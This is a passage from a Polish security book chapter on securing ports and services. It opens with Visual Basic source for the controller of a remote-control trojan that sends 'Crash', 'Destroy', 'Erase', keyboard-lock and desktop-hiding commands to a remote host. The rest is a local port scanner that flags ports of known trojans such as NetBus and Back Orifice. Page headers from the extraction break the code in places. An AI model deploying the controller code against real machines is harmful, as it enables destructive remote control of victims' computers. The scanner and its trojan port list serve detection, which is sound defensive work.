Private Sub Command4_Click()
On Error Resume Next
Text3.Text = "Crash"
Command8_Click
End Sub
Private Sub Command5_Click()
On Error Resume Next
Text3.Text = "Destroy"
Command8_Click
End Sub
Private Sub Command6_Click()
On Error Resume Next
Text3.Text = "Lock keyboard"
Command8_Click
End Sub
Private Sub Command7_Click()
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
73
73
On Error GoTo errorhandler
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
Command7.Enabled = False
Command9.Enabled = True
Label4.Caption = "Connecting..."
errorhandler: If Err.Number = 10049 Then
Label4.Caption = "Could not connect to server."
Command7.Enabled = True
Command9.Enabled = False
Winsock1.Close
End If
End Sub
Private Sub Command8_Click()
Winsock1.SendData Text3.Text
End Sub
Private Sub Command9_Click()
Command9.Enabled = False
Command7.Enabled = True
Label4.Caption = "Disconnected"
Winsock1.Close
End Sub
Private Sub form_load()
Text1.Text = Winsock1.LocalIP
Label4.Caption = "Disconnected"
End Sub
Private Sub mnuall_Click()
On Error Resume Next
Text3.Text = "Erase"
Command8_Click
End Sub
Private Sub mnualldir_Click()
On Error Resume Next
Text3.Text = "Erased"
Command8_Click
End Sub
Private Sub mnuchangedir_Click()
On Error Resume Next
x = InputBox("Enter directory name to change", "Change directory")
Text3.Text = "chdir" + x
Command8_Click
End Sub
Private Sub mnuhided_Click()
On Error Resume Next
Text3.Text = "Hide desk"
Command8_Click
mnuhided.Enabled = False
mnushowd.Enabled = True
End Sub
Private Sub mnuhides_Click()
On Error Resume Next
Text3.Text = "Hide start"
Command8_Click
mnuhides.Enabled = False
74
Hack Wars. Tom 2. Na tropie hakerów
74
mnushows.Enabled = True
End Sub
Private Sub mnuhidet_Click()
On Error Resume Next
Text3.Text = "Hide task"
Command8_Click
mnuhidet.Enabled = False
mnushowt.Enabled = True
End Sub
Private Sub mnumakenew_Click()
On Error Resume Next
x = InputBox("Enter directory name", "Make new directory")
Text3.Text = "mkdir" + x
Command8_Click
End Sub
Private Sub mnusendmsg_Click()
On Error Resume Next
x = InputBox("Type a message", "Send a message")
Text3.Text = "messg" + x
Command8_Click
End Sub
Private Sub mnushowd_Click()
On Error Resume Next
Text3.Text = "Show desk"
Command8_Click
mnuhided.Enabled = True
mnushowd.Enabled = False
End Sub
Private Sub mnushows_Click()
On Error Resume Next
Text3.Text = "Show start"
Command8_Click
mnuhides.Enabled = True
mnushows.Enabled = False
End Sub
Private Sub mnushowt_Click()
On Error Resume Next
Text3.Text = "Show task"
Command8_Click
mnuhidet.Enabled = True
mnushowt.Enabled = False
End Sub
Private Sub mnuup_Click()
On Error Resume Next
Text3.Text = "updir"
Command8_Click
End Sub
Private Sub mnuview_Click()
On Error Resume Next
Text3.Text = "Info"
Command8_Click
End Sub
Private Sub mnuviewdir_Click()
On Error Resume Next
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
75
75
Text3.Text = "viewdir"
Command8_Click
End Sub
Private Sub Text4_Change()
If Text4.DataChanged Then
Label4.Caption = "Connected!"
End If
End Sub
Private Sub Timer1_Timer()
Text5.Text = Text5.Text - 1
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Winsock1.GetData strData, vbString
Text4.Text = strData
If strData = NewLine Then
Text4.Text = Text4.Text & NewLine
End If
If strData = endir Then
x = InputBox("Enter directory you wish to change", "Change
directory")
Text3.Text = "chdir" + x
Command8_Click
End If
End Sub
Programy i moduły przedstawione w tym rozdziale znaleźć można na dołączonym do
niniejszej książki dysku CD.
Tiger Inspect
Jak przedstawiono to w Hack wars. Na tropie hakerów, skanery portów napisane zo-
stały dla większości systemów operacyjnych. Za darmo pobrać można z Internetu
wszechstronne demony dla systemów UNIX, takie jak nmap. Użytkownicy Windows,
zarówno domowi, jak i w większych firmach, wymagający pełnej kontroli nad opro-
gramowaniem, skorzystać mogą ze skanera portów lokalnych Tiger Inspect (patrz ry-
sunek 1.25). Pozwoli on indywidualnie dopasować procedury przeglądania i zarzą-
dzać listą usług. Przedstawiona wersja zapewnia obsługę pięciu jednocześnie pracujących
wątków. Oznacza to, że sprawdzanych będzie pięć portów jednocześnie. Warto zwró-
cić uwagę, że liczba wątków może zostać zwiększona przez dodanie strumieni
Win-
sock
(
x
), gdzie (
x
) jest numerem kolejnego wątku (poczynając w tym przypadku od szó-
stego).
76
Hack Wars. Tom 2. Na tropie hakerów
76
Rysunek 1.25.
Prosty interfejs
skanera portów
lokalnych
TigerInspect
Kod źródłowy nie jest skomplikowany, wprowadzanie modyfikacji nie powinno więc
sprawić kłopotów. Kompilacja uwzględnia listę znanych portów koni trojańskich, aż
do numeru 61466. Mimo że analiza usług nie została wprowadzona, Czytelnik może
pokusić się o dołączenie jej w wolnym czasie. Łatwo będzie również wprowadzić
opisy portów zarezerwowanych, posługując się wierszami takimi jak:
ElseIf Winsock1.LocalPort = 21 Then List1.AddItem Winsock1.LocalPort
& " Alert:
∑
Found File Transfer Protocol (FTP)"
Winsock1.Close
Przy dołączaniu powiadomień o portach aktywnych nie można zapominać o wprowadzeniu
ich dla wszystkich pięciu wątków: Winsock1, 2, 3, 4 i 5.
Inspect.frm
Dim A
Private Sub cmdStart_Click()
Timer1.Interval = 1
End Sub
Private Sub Command3_Click()
Unload Scan
End Sub
Private Sub Form_Load()
A = 112
End Sub
Private Sub Timer1_Timer()
A = A + 5
Me.Caption = "Security Port Scan (at Port " & A & ")"
Call WSock1(A - 4)
Call WSock2(A - 3)
Call WSock3(A - 2)
Call WSock4(A - 1)
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
77
77
Call WSock5(A - 0)
End Sub
Public Sub WSock1(sPort As Long)
a1:
Winsock1.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z1
Winsock1.Listen
Winsock1.Close
Exit Sub
z1:
If Winsock1.LocalPort = 31 Then
List1.AddItem Winsock5.LocalPort & " Found: Agent 31"
Winsock1.Close
ElseIf Winsock1.LocalPort = 41 Then
List1.AddItem Winsock1.LocalPort & " Found: DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 59 Then List1.AddItem Winsock1.LocalPort
& " Found:
DMSetup"
Winsock1.Close
ElseIf Winsock1.LocalPort = 79 Then List1.AddItem Winsock1.LocalPort
& " Found:
Firehotcker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 99 Then List1.AddItem Winsock1.LocalPort
& " Found:
Hidden Port"
Winsock1.Close
ElseIf Winsock1.LocalPort = 110 Then List1.AddItem Winsock1.LocalPort
& " Found:
ProMail trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 113 Then List1.AddItem Winsock1.LocalPort
& " Found:
Kazimas"
Winsock1.Close
ElseIf Winsock1.LocalPort = 119 Then List1.AddItem Winsock1.LocalPort
& " Found:
Happy 99"
Winsock1.Close
ElseIf Winsock1.LocalPort = 121 Then List1.AddItem Winsock1.LocalPort
& " Found:
JammerKillah"
Winsock1.Close
ElseIf Winsock1.LocalPort = 421 Then List1.AddItem Winsock1.LocalPort
& " Found:
TCP Wrappers"
Winsock1.Close
ElseIf Winsock1.LocalPort = 456 Then List1.AddItem Winsock1.LocalPort
& " Found:
Hackers Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 531 Then List1.AddItem Winsock1.LocalPort
& " Found:
Rasmin"
Winsock1.Close
78
Hack Wars. Tom 2. Na tropie hakerów
78
ElseIf Winsock1.LocalPort = 555 Then List1.AddItem Winsock1.LocalPort
& " Found:
Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 666 Then List1.AddItem Winsock1.LocalPort
& " Found:
Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU,
Shadow Phyre"
Winsock1.Close
ElseIf Winsock1.LocalPort = 911 Then List1.AddItem Winsock1.LocalPort
& " Found:
Dark Shadow"
Winsock1.Close
ElseIf Winsock1.LocalPort = 999 Then List1.AddItem Winsock1.LocalPort
& " Found:
DeepThroat, WinSatan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Silencer, WebEx"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1010 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1011 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1012 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1015 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1024 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1042 Then List1.AddItem Winsock1.LocalPort &
" Found: Bla"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1045 Then List1.AddItem
Winsock1.LocalPort & " Found:
Rasmin"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1090 Then List1.AddItem
Winsock1.LocalPort & " Found:
Xtreme"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1170 Then List1.AddItem
Winsock1.LocalPort & " Found:
Psyber Stream Server, Streaming Audio trojan, Voice"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1234 Then List1.AddItem
Winsock1.LocalPort & " Found:
Ultors Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1239 Then Winsock1.Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
79
79
ElseIf Winsock1.LocalPort = 1243 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor-G, SubSeven, SubSeven Apocalypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1245 Then List1.AddItem
Winsock1.LocalPort & " Found:
VooDoo Doll"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1248 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 1269 Then List1.AddItem
Winsock1.LocalPort & " Found:
Mavericks Matrix"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1349 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO DLL"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1492 Then List1.AddItem
Winsock1.LocalPort & " Found:
FTP99CMP"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1509 Then List1.AddItem
Winsock1.LocalPort & " Found:
Psyber Streaming Server"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1600 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shivka-Burka"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1807 Then List1.AddItem
Winsock1.LocalPort & " Found:
SpySender"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1981 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shockrave"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2000 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Trojan Cow"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2002 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
80
Hack Wars. Tom 2. Na tropie hakerów
80
ElseIf Winsock1.LocalPort = 2003 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2004 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2005 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2023 Then List1.AddItem
Winsock1.LocalPort & " Found:
Ripper"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2115 Then List1.AddItem Winsock1.LocalPort &
" Found: Bugs"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2140 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2155 Then List1.AddItem
Winsock1.LocalPort & " Found:
Illusion Mailer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2283 Then List1.AddItem
Winsock1.LocalPort & " Found:
HVL Rat5"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2565 Then List1.AddItem
Winsock1.LocalPort & " Found:
Striker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2583 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2600 Then List1.AddItem
Winsock1.LocalPort & " Found:
Digital RootBeer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2801 Then List1.AddItem
Winsock1.LocalPort & " Found:
Phineas Phucker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2989 Then List1.AddItem Winsock1.LocalPort &
" Found: RAT"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3024 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3128 Then List1.AddItem
Winsock1.LocalPort & " Found:
RingZero"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3129 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
81
81
Winsock1.Close
ElseIf Winsock1.LocalPort = 3150 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3459 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclipse 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3700 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3791 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3801 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4092 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4321 Then List1.AddItem Winsock1.LocalPort &
" Found: BoBo"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4567 Then List1.AddItem
Winsock1.LocalPort & " Found:
File Nail"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4590 Then List1.AddItem
Winsock1.LocalPort & " Found:
ICQTrojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Bubbel, Back Door Setup, Sockets deTroie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Door Setup, Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5011 Then List1.AddItem
Winsock1.LocalPort & " Found:
One of the Last Trojans (OOTLT)"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5031 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMetro"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5321 Then List1.AddItem
Winsock1.LocalPort & " Found:
Firehotcker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5400 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close
82
Hack Wars. Tom 2. Na tropie hakerów
82
ElseIf Winsock1.LocalPort = 5401 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5402 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5512 Then List1.AddItem
Winsock1.LocalPort & " Found:
Illusion Mailer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5550 Then List1.AddItem Winsock1.LocalPort &
" Found: Xtcp"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5555 Then List1.AddItem
Winsock1.LocalPort & " Found:
ServeMe"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5556 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5557 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5569 Then List1.AddItem
Winsock1.LocalPort & " Found:
Robo-Hack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5742 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6400 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Thing"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6669 Then List1.AddItem
Winsock1.LocalPort & " Found:
Vampyre"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6670 Then List1.AddItem
Winsock1.LocalPort & " Found:
DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6771 Then List1.AddItem
Winsock1.LocalPort & " Found:
DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6776 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor-G, SubSeven"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6912 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shit Heep"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6939 Then List1.AddItem
Winsock1.LocalPort & " Found:
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
83
83
Indoctrination"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6969 Then List1.AddItem
Winsock1.LocalPort & " Found:
GateCrasher, Priority, IRC 3"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6970 Then List1.AddItem
Winsock1.LocalPort & " Found:
GateCrasher"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Remote Grab , Kazimas"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7300 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7301 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7306 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7307 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7308 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7789 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Door Setup, ICKiller"
Winsock1.Close
ElseIf Winsock1.LocalPort = 8080 Then List1.AddItem
Winsock1.LocalPort & " Found:
RingZero"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9400 Then List1.AddItem
Winsock1.LocalPort & " Found:
InCommand"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9872 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9873 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9874 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9875 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
84
Hack Wars. Tom 2. Na tropie hakerów
84
Winsock1.Close
ElseIf Winsock1.LocalPort = 9876 Then List1.AddItem
Winsock1.LocalPort & " Found:
Cyber Attacker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9878 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9989 Then List1.AddItem
Winsock1.LocalPort & " Found:
iNi-Killer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10067 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10101 Then List1.AddItem
Winsock1.LocalPort & " Found:
BrainSpy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10167 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10520 Then List1.AddItem
Winsock1.LocalPort & " Found:
Acid Shivers"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10607 Then List1.AddItem Winsock1.LocalPort &
" Found: Coma"
Winsock1.Close
ElseIf Winsock1.LocalPort = 11000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Senna Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 11223 Then List1.AddItem
Winsock1.LocalPort & " Found:
Progenic trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12076 Then List1.AddItem
Winsock1.LocalPort & " Found:
Gjamer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12223 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack’99 KeyLogger"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12345 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 12346 Then List1.AddItem
Winsock1.LocalPort & " Found:
GabanBus, NetBus, X-bill"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12361 Then List1.AddItem
Winsock1.LocalPort & " Found:
Whack-a-mole"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12362 Then List1.AddItem
Winsock1.LocalPort & " Found:
Whack-a-mole"
Winsock1.Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
85
85
ElseIf Winsock1.LocalPort = 12631 Then List1.AddItem
Winsock1.LocalPort & " Found:
WhackJob"
Winsock1.Close
ElseIf Winsock1.LocalPort = 13000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Senna Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 16969 Then List1.AddItem
Winsock1.LocalPort & " Found:
Priority"
Winsock1.Close
ElseIf Winsock1.LocalPort = 17300 Then List1.AddItem
Winsock1.LocalPort & " Found:
Kuang2 The Virus"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Millennium"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Millennium"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20034 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 20203 Then List1.AddItem
Winsock1.LocalPort & " Found:
Logged"
Winsock1.Close
ElseIf Winsock1.LocalPort = 21544 Then List1.AddItem
Winsock1.LocalPort & " Found:
GirlFriend"
Winsock1.Close
ElseIf Winsock1.LocalPort = 22222 Then List1.AddItem
Winsock1.LocalPort & " Found:
Prosiak"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23456 Then List1.AddItem
Winsock1.LocalPort & " Found:
Evil FTP, Ugly FTP , Whack Job"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23476 Then List1.AddItem
Winsock1.LocalPort & " Found:
Donald Dick"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23477 Then List1.AddItem
Winsock1.LocalPort & " Found:
Donald Dick"
Winsock1.Close
ElseIf Winsock1.LocalPort = 26274 Then List1.AddItem
Winsock1.LocalPort & " Found:
Delta Source"
Winsock1.Close
ElseIf Winsock1.LocalPort = 29891 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Unexplained"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30029 Then List1.AddItem
Winsock1.LocalPort & " Found:
AOL Trojan"
Winsock1.Close
86
Hack Wars. Tom 2. Na tropie hakerów
86
ElseIf Winsock1.LocalPort = 30100 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30101 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30102 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30303 Then List1.AddItem
Winsock1.LocalPort & " Found:
Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30999 Then List1.AddItem
Winsock1.LocalPort & " Found:
Kuang2"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31336 Then List1.AddItem
Winsock1.LocalPort & " Found:
Bo Whack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem
Winsock1.LocalPort & " Found:
Baron Night, BO client, BO2, Bo Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackFire, Back Orifice, DeepBO"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy DK"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice, DeepBO"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31339 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy DK"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31666 Then List1.AddItem
Winsock1.LocalPort & " Found:
BOWhack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31785 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31787 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31788 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
87
87
ElseIf Winsock1.LocalPort = 31789 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31791 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31792 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 33333 Then List1.AddItem
Winsock1.LocalPort & " Found:
Prosiak"
Winsock1.Close
ElseIf Winsock1.LocalPort = 33911 Then List1.AddItem
Winsock1.LocalPort & " Found:
Spirit 2001a"
Winsock1.Close
ElseIf Winsock1.LocalPort = 34324 Then List1.AddItem
Winsock1.LocalPort & " Found:
BigGluck, TN"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40412 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40421 Then List1.AddItem
Winsock1.LocalPort & " Found:
Agent 40421, Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40422 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40423 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40426 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 47262 Then List1.AddItem
Winsock1.LocalPort & " Found:
Delta Source"
Winsock1.Close
ElseIf Winsock1.LocalPort = 50505 Then List1.AddItem
Winsock1.LocalPort & " Found:
Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 50766 Then List1.AddItem
Winsock1.LocalPort & " Found:
Fore, Schwindler"
Winsock1.Close
ElseIf Winsock1.LocalPort = 53001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Remote Windows Shutdown"
Winsock1.Close
88
Hack Wars. Tom 2. Na tropie hakerów
88
ElseIf Winsock1.LocalPort = 54320 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem
Winsock1.LocalPort & " Found:
School Bus"
Winsock1.Close
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 60000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 61466 Then List1.AddItem
Winsock1.LocalPort & " Found:
Telecommando"
Winsock1.Close
Else
List1.AddItem Winsock1.LocalPort & " Active: Standard Well-known
Port"
Winsock1.Close
End If
End Sub
Public Sub WSock2(sPort As Long)
Winsock2.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z2
Winsock2.Listen
Winsock2.Close
Exit Sub
z2:
If Winsock2.LocalPort = 31 Then
List1.AddItem Winsock5.LocalPort & " Found: Agent 31"
Winsock2.Close
ElseIf Winsock2.LocalPort = 41 Then
List1.AddItem Winsock2.LocalPort & " Found: DeepThroat"
Winsock2.Close
